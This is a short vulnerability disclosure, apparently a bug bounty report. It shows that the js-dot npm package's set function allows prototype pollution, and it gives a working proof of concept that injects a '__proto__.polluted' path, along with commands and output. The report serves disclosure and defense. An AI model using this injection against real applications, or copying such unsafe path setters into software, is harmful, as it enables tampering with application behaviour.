Prototype Pollution in elcharitas/js-dot

Valid

Reported on

Feb 13th 2021


Description

Prototype Pollution in js-dot

Proof of Concept

  1. Create the following PoC file:
// poc.js
var jsDot = require("js-dot")
var obj = {}
console.log("Before : " + {}.polluted);
jsDot.set(obj,"__proto__.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i js-dot # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
to join this conversation